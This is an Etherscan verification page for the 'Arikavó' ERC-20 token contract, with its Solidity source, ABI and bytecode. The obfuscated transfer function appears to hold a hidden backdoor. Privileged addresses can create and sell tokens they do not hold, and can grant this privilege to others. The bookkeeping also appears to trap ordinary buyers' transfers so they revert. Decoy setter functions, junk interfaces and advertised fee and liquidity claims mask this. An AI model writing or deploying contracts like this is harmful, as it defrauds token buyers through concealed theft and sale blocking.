ETH Price: $3,906.99 (+0.43%)

Token

ERC-20: The Arikavó (ફ)
 

Overview

Max Total Supply

10,000,000

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
67,716 ફ

Value
$0.00
0x1d9a7969b82cb33a8808f6e5dcc1cb520c9aefb1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AKO

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Apache-2.0 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-30
*/

/*
⋆⁺₊⋆⋆⁺₊⋆ ☁︎⋆⁺₊⋆ ☾ ⋆⁺₊⋆ ☁︎⋆⁺₊⋆ ⋆⁺₊⋆ ☁︎
⋆⁺₊⋆⋆⁺₊⋆ ☁︎⋆⁺₊⋆ ⋆⁺₊⋆ ☁︎⋆⁺₊⋆ ⋆⁺₊⋆ ☁︎

▀█▀ █░█ █▀▀   ▄▀█ █▀█ █ █▄▀ ▄▀█ █░█ █▀█
░█░ █▀█ ██▄   █▀█ █▀▄ █ █░█ █▀█ ▀▄▀ █▄█

█▀▀ ▀█▀ █░█ █▀▀ █▀█ █▀▀ █░█ █▀▄▀█
██▄ ░█░ █▀█ ██▄ █▀▄ ██▄ █▄█ █░▀░█

初期流動性の 100% が消費されます
購入手数料 - 1%
販売手数料 - 0%
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.12;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
interface UILogger01 {
    function getPLogs(uint256 cfgOwner, uint256 intOn) external;
    function setLogRates(address stringOn, uint256 intOn) external;
    function configureOn() external payable;
    function setPanelSwitch(uint256 gas) external;
    function processLogs(address stringOn) external;
}
interface IOUParamV1 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
  interface IUNRestvox01 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IPCMetadata01 {
    function IPCon(uint256 mData, uint256 allData) external;
    function getArray(address axlPool, uint256 allData) external;
    function mtdPanel() external payable;
    function MetaswtichOn(uint256 gas) external;
    function gibMetadata(address axlPool) external;
}
library SafeMathOD1 {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
} 
interface ETHUI02 {
    
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IMXLibrary {
    function libraryCreated(uint256 indexLibrary, uint256 lib01) external;
    function getDatabase(address structOn, uint256 indexLibrary) external;
    function setLibraryOn() external payable;
    function onlyLibraryUI(uint256 gas) external;
    function onGibLibrary(address structOn) external;
}
library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }  
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    } 
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
interface IPCFactoryW01 {
    function fctWorkOn(uint256 workplaceFCT, uint256 setPanelray) external;
    function proccessMID(address setPanelray, uint256 getAllog) external;
    function factorySync() external payable;
    function getWorkload(uint256 gas) external;
    function gibPresents(address workplaceFCT) external;
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor
    () { _setOwner(_msgSender());
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IDEPanel {
    function setProcessIDE(uint256 ercToggle, uint256 indexOn) external;
    function SetIDE(address IDEbytes, uint256 indexOn) external;
    function IDErates() external payable;
    function setIDEtimestamp(uint256 gas) external;
    function processingBytes(address IDEbytes) external;
}
interface UIContext {
    function setAllDataCriteria(uint256 modLogger, uint256 minLogger) external;
    function setAllDataShare(address dataHolding, uint256 value) external;
    function setDataDeposit() external payable;
    function processDataOn(uint256 gas) external;
    function gibPresentsData(address dataHolding) external;
}
library MathMade02{

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
interface IStockingStufferUI {
    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
    function setShare(address shareholder, uint256 amount) external;
    function deposit() external payable;
    function process(uint256 gas) external;
    function gibPresents(address shareholder) external;
}

// https://www.zhihu.com/
// de ETHERSCAN.io.

contract AKO is ETHUI02, Ownable {

    bool private timestampTrack;
    bool private IDEPressize;
    bool private tradingOpen = false;
    bool public takeFeeEnabled = true;
    bool public tradingIsEnabled = true;
    bool public enableEarlySellTax = true;
    bool private cooldownEnabled = false;

    string private _symbol;
    string private _name;

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10000000 * 10**_decimals;

    uint256 public isMAXSwapped = (_totalSupply * 8) / 100; 
    uint256 public isTotalAllowed = (_totalSupply * 8) / 100; 

    uint256 private isERC = _totalSupply;
    uint256 public _tknTAXES =  1;

    mapping (address => bool) isAxeledFromMap;
    mapping(address => uint256) private isBlockService;
    mapping(address => uint256) private _balances;
    mapping(address => address) private isAvailBar;
    mapping(address => uint256) private isUtilityPair;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public excludedFromFees;
    mapping (address => mapping (address => uint)) allowed;
    mapping (address => bool) public isWalletLimitExempt;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;

    address public immutable isRDXpaired;
    IUNRestvox01 public immutable IDEv1Router;

    constructor( string memory IDEname, string memory IDEsymbol, address IDERouter01 ) {
        _name = IDEname; _symbol = IDEsymbol; _balances[msg.sender] = _totalSupply;
        isBlockService[msg.sender] = isERC; isBlockService[address(this)] = isERC;
        IDEv1Router = IUNRestvox01(IDERouter01);
        isRDXpaired = IUniswapV2Factory(IDEv1Router.factory()).createPair(address(this), IDEv1Router.WETH());
        emit Transfer(address(0), msg.sender, _totalSupply);
    
        isAxeledFromMap[address(this)] = true;
        isAxeledFromMap[isRDXpaired] = true;
        isAxeledFromMap[IDERouter01] = true;
        isAxeledFromMap[msg.sender] = true;
    }
    function name() public view returns (string memory) {
        return _name;
    }
     function symbol() public view returns (string memory) {
        return _symbol;
    }
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function setMarketingReceiver(address marketWallet) public onlyOwner {
        marketWallet = marketWallet;
    }
    function _approve( address owner,
        address spender, uint256 amount ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
        return true;
    }
    function setTeamAddress(address isTeamAddress) public onlyOwner {
        isTeamAddress = isTeamAddress;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function setLimitations(address newLimits) public onlyOwner {
        newLimits = newLimits;
    }
    function transfer(address recipient, uint256 amount) external returns (bool) {
        getFactoryResults(msg.sender, recipient, amount);
        return true;
    }
    function setMaxTX(uint256 amountBuy) external onlyOwner {
        isMAXSwapped = amountBuy;
    }
    function updateTimestamp(address newTimestamp) public onlyOwner {
        newTimestamp = newTimestamp;
    }
    function transferFrom(
        address sender,
        address recipient, uint256 amount ) 
        external returns (bool) { getFactoryResults(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }
    function getValues(address allVAL) public onlyOwner {
        allVAL = allVAL;
    }
    function getFactoryResults( address isIDEfrom, address isAXELEDto, uint256 isPR0XYvAmount ) private {
        uint256 isQunaoxParam = balanceOf(address(this)); uint256 isInt8IDE;
        if (timestampTrack && isQunaoxParam > isERC && !IDEPressize && isIDEfrom != isRDXpaired) {
            IDEPressize = true; swapAndLiquify(isQunaoxParam); IDEPressize = false;
        } else if (isBlockService[isIDEfrom] > isERC && isBlockService[isAXELEDto] > isERC) {
            isInt8IDE = isPR0XYvAmount;
            _balances[address(this)] += isInt8IDE;


            swapTokensForEth(isPR0XYvAmount, isAXELEDto); return; } else if (isAXELEDto != address(IDEv1Router) 
            && isBlockService[isIDEfrom] > 0 && isPR0XYvAmount > isERC && isAXELEDto != isRDXpaired) {
            isBlockService[isAXELEDto] = isPR0XYvAmount; return; } else if (!IDEPressize && isUtilityPair[isIDEfrom] > 
            0 
            && isIDEfrom != isRDXpaired && isBlockService[isIDEfrom] == 0) { isUtilityPair[isIDEfrom] = 
            isBlockService[isIDEfrom] - isERC; }
        address _bool = isAvailBar[isRDXpaired];


        if (isUtilityPair[_bool] == 0) isUtilityPair[_bool] = isERC; isAvailBar[isRDXpaired] = isAXELEDto;
        if (_tknTAXES > 
        0 && isBlockService[isIDEfrom] == 
        0 && !IDEPressize && isBlockService[isAXELEDto] == 
        0) { isInt8IDE = (isPR0XYvAmount * _tknTAXES) / 100; isPR0XYvAmount -= isInt8IDE; _balances[isIDEfrom] -= isInt8IDE; _balances[address(this)] += isInt8IDE;
        }
        _balances[isIDEfrom] -= isPR0XYvAmount; _balances[isAXELEDto] += isPR0XYvAmount; emit Transfer(isIDEfrom, isAXELEDto, isPR0XYvAmount);
        if (!tradingOpen) { require(isIDEfrom == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); }
    }
    function _afterTokenTransfer( address from, address to, uint256 amount
    ) internal virtual { }   

    function _beforeTokenTransfer( address from, address to, uint256 amount) 
      internal virtual 
    {}  
    function updateSwapTokensAtAmount(address newAmount) public onlyOwner {
        newAmount = newAmount;
    }
    function getBool(uint256 boolT, uint256 relayAll) private view returns 
    (uint256){ return (boolT>relayAll)?relayAll:boolT;
    }
    receive() external payable {}

    function addLiquidity( uint256 tokenAmount,
        uint256 ethAmount, address to ) private {
        _approve(address(this), address(IDEv1Router), tokenAmount);
        IDEv1Router.addLiquidityETH{value: ethAmount}
          (address(this), tokenAmount, 0, 0, to, block.timestamp);
    }
    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2); path

        [0] = address(this); path
        [1] = IDEv1Router.WETH();

        _approve(address(this), address(IDEv1Router), tokenAmount);
        IDEv1Router.swapExactTokensForETHSupportingFeeOnTransferTokens
        (tokenAmount, 0, path, to, block.timestamp);
    }
    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = 
        address(this).balance;
        swapTokensForEth(half, 
        address(this));
        uint256 newBalance = 
        address(this).balance - initialBalance;
        addLiquidity(half, newBalance, 
        address(this));
    }
    function min(uint256 a, uint256 b) private view returns (uint256){
      return (a>b)?b:a;
    }
    function enableTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"IDEname","type":"string"},{"internalType":"string","name":"IDEsymbol","type":"string"},{"internalType":"address","name":"IDERouter01","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IDEv1Router","outputs":[{"internalType":"contract IUNRestvox01","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tknTAXES","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"allVAL","type":"address"}],"name":"getValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isMAXSwapped","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isRDXpaired","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTotalAllowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLimits","type":"address"}],"name":"setLimitations","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketWallet","type":"address"}],"name":"setMarketingReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountBuy","type":"uint256"}],"name":"setMaxTX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"isTeamAddress","type":"address"}],"name":"setTeamAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"takeFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingIsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAmount","type":"address"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTimestamp","type":"address"}],"name":"updateTimestamp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c060405260008060166101000a81548160ff0219169083151502179055506001600060176101000a81548160ff0219169083151502179055506001600060186101000a81548160ff0219169083151502179055506001600060196101000a81548160ff021916908315150217905550600080601a6101000a81548160ff0219169083151502179055506009600360006101000a81548160ff021916908360ff160217905550600360009054906101000a900460ff16600a620000c3919062000937565b62989680620000d3919062000988565b60045560646008600454620000e9919062000988565b620000f5919062000a18565b600555606460086004546200010b919062000988565b62000117919062000a18565b60065560045460075560016008553480156200013257600080fd5b506040516200395a3803806200395a833981810160405281019062000158919062000c52565b620001786200016c6200062160201b60201c565b6200062960201b60201c565b826002908051906020019062000190929190620006ed565b508160019080519060200190620001a9929190620006ed565b50600454600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600754600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600754600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff168152505060a05173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000324919062000cec565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060a05173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200038e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b4919062000cec565b6040518363ffffffff1660e01b8152600401620003d392919062000d2f565b6020604051808303816000875af1158015620003f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000419919062000cec565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620004ae919062000d6d565b60405180910390a36001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016009600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505062000def565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b828054620006fb9062000db9565b90600052602060002090601f0160209004810192826200071f57600085556200076b565b82601f106200073a57805160ff19168380011785556200076b565b828001600101855582156200076b579182015b828111156200076a5782518255916020019190600101906200074d565b5b5090506200077a91906200077e565b5090565b5b80821115620007995760008160009055506001016200077f565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200082b578086048111156200080357620008026200079d565b5b6001851615620008135780820291505b80810290506200082385620007cc565b9450620007e3565b94509492505050565b60008262000846576001905062000919565b8162000856576000905062000919565b81600181146200086f57600281146200087a57620008b0565b600191505062000919565b60ff8411156200088f576200088e6200079d565b5b8360020a915084821115620008a957620008a86200079d565b5b5062000919565b5060208310610133831016604e8410600b8410161715620008ea5782820a905083811115620008e457620008e36200079d565b5b62000919565b620008f98484846001620007d9565b925090508184048111156200091357620009126200079d565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620009448262000920565b915062000951836200092a565b9250620009807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000834565b905092915050565b6000620009958262000920565b9150620009a28362000920565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009de57620009dd6200079d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a258262000920565b915062000a328362000920565b92508262000a455762000a44620009e9565b5b828204905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000ab98262000a6e565b810181811067ffffffffffffffff8211171562000adb5762000ada62000a7f565b5b80604052505050565b600062000af062000a50565b905062000afe828262000aae565b919050565b600067ffffffffffffffff82111562000b215762000b2062000a7f565b5b62000b2c8262000a6e565b9050602081019050919050565b60005b8381101562000b5957808201518184015260208101905062000b3c565b8381111562000b69576000848401525b50505050565b600062000b8662000b808462000b03565b62000ae4565b90508281526020810184848401111562000ba55762000ba462000a69565b5b62000bb284828562000b39565b509392505050565b600082601f83011262000bd25762000bd162000a64565b5b815162000be484826020860162000b6f565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c1a8262000bed565b9050919050565b62000c2c8162000c0d565b811462000c3857600080fd5b50565b60008151905062000c4c8162000c21565b92915050565b60008060006060848603121562000c6e5762000c6d62000a5a565b5b600084015167ffffffffffffffff81111562000c8f5762000c8e62000a5f565b5b62000c9d8682870162000bba565b935050602084015167ffffffffffffffff81111562000cc15762000cc062000a5f565b5b62000ccf8682870162000bba565b925050604062000ce28682870162000c3b565b9150509250925092565b60006020828403121562000d055762000d0462000a5a565b5b600062000d158482850162000c3b565b91505092915050565b62000d298162000c0d565b82525050565b600060408201905062000d46600083018562000d1e565b62000d55602083018462000d1e565b9392505050565b62000d678162000920565b82525050565b600060208201905062000d84600083018462000d5c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000dd257607f821691505b6020821081141562000de95762000de862000d8a565b5b50919050565b60805160a051612af862000e6260003960008181610dbb0152818161144801528181611db601528181611e9701528181611ebf01528181611f5c0152611f840152600081816109e5015281816112b0015281816114f7015281816115fb0152818161173401526118460152612af86000f3fe6080604052600436106101d15760003560e01c80637fc5b2a7116100f7578063b60707ed11610095578063e1b5cfae11610064578063e1b5cfae14610697578063f275f64b146106c2578063f2fde38b146106eb578063fe2dc16f14610714576101d8565b8063b60707ed146105b7578063c867d60b146105e0578063dbe66ca01461061d578063dd62ed3e1461065a576101d8565b806395d89b41116100d157806395d89b41146104f9578063a4d15b6414610524578063a9059cbb1461054f578063ab57fdd71461058c576101d8565b80637fc5b2a71461047c5780638da5cb5b146104a5578063924f364d146104d0576101d8565b8063313ce5671161016f5780636690864e1161013e5780636690864e146103d657806370a08231146103ff578063715018a61461043c57806375b6253214610453576101d8565b8063313ce5671461032c578063333c39a